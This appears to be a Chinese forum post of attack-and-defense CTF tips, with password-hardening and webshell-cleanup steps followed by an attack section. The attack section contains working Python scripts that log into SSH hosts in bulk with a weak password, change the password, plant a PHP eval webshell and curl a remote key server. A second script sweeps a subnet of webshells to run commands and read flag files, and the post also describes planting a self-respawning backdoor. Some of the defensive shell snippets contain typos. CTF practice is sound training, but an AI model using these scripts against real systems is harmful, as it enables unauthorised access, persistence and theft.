AWD攻防技巧
基本防守策略
1.改用户密码和服务器密码
1.改linux用户密码
passwd
如果有权限就删除用户:2.改mysql密码:
- update mysql.user set password=password("密码")where user='root';
复制代码 删除匿名用户- delete from mysql.user where user='';
复制代码 刷新配置3.改网站后台密码
从网站页面或者源码用御剑找到后台页面,尝试弱口令登入后改管理员密码
2.web防护
1.将目录打包成tar文件
- tar -cvf 打包后的文件.tar 要打包的文件名
复制代码 2.用ssh或者ftp 将打包的文件拉到本机
- scp 用户名@IP地址:要下载的文件路径 存放路径
- scp root@192.168.18.6:/root/flag.txt /root/
复制代码 ftp用法get IP地址
或者用ftp软件登入
3.将压缩包解压放进D盾扫描木马文件
3.关闭shell连接进程
1.查看真正连接的进程
2.关闭连接进程
4.网站守护
1.查看新增加文件,删除
2.删除不死码
- vim killshell.sh
- chmod 777 killshell.sh
- nohub ./killshell.sh &
- #/bin/bash
- while true:
- do
- rm rf xxx.php
- done
复制代码 3.发现网站页面有漏洞
PS:平台root用户可能是弱口令或者存在提取。
直接基本攻击策略
1.弱口令攻击
批量用户登入修改密码并写入webshell且修改活动flag值
《ssh.py》- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- import paramiko
- for i in [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]:
- try:
- host = f"192.168.{i}.100" # 假设 IP 格式为 192.168.x.100
- s = paramiko.SSHClient()
- s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- s.connect(hostname=host, port=22, username='user1', password='123456')
- # 修改密码
- stdin, stdout, stderr = s.exec_command('passwd')
- stdin.write("123456\nPass@123.com\nPass@123.com\n")
- stdin.flush()
- # 上传 WebShell
- stdin, stdout, stderr = s.exec_command("echo '<?php eval($_POST[cmd]); ?>' > /var/www/html/.zack.php")
- # 访问远程 URL
- stdin, stdout, stderr = s.exec_command("curl http://192.168.245.250/getkey")
- print(host + ' ' + stdout.read().decode('utf-8'))
- except Exception as e:
- print(f"连接失败: {host} - {e}")
复制代码 2.批量调用webshell获取flag
用D盾扫描自己的网站木马,根据木马写脚本- #!/usr/bin/env python3
- # -*- coding: utf-8 -*-
- import requests
- import urllib3
- # 忽略HTTPS警告(如为http可省略)
- urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
- # webshell路径与密码
- webshell_url_template = "http://192.168.1.{}/uploads/shell.php"
- password = "abc123"
- # 要执行的命令(读取flag)
- command = "cat /tmp/flag.txt"
- # 内网IP范围
- for i in range(1, 255):
- target_ip = f"192.168.1.{i}"
- url = webshell_url_template.format(i)
- try:
- # 构造webshell请求
- params = {
- password: f'system("{command}");'
- }
- resp = requests.get(url, params=params, timeout=3, verify=False)
- if resp.status_code == 200 and "flag" in resp.text:
- print(f"[+] {target_ip} - Flag: {resp.text.strip()}")
- else:
- print(f"[-] {target_ip} - 无响应或无flag")
- except Exception as e:
- print(f"[!] {target_ip} - 请求失败: {e}")
复制代码 3.不死码种植
将不死码上传网站目录,访问不死码后在当前目录生成zack.php后门webshell
[code] |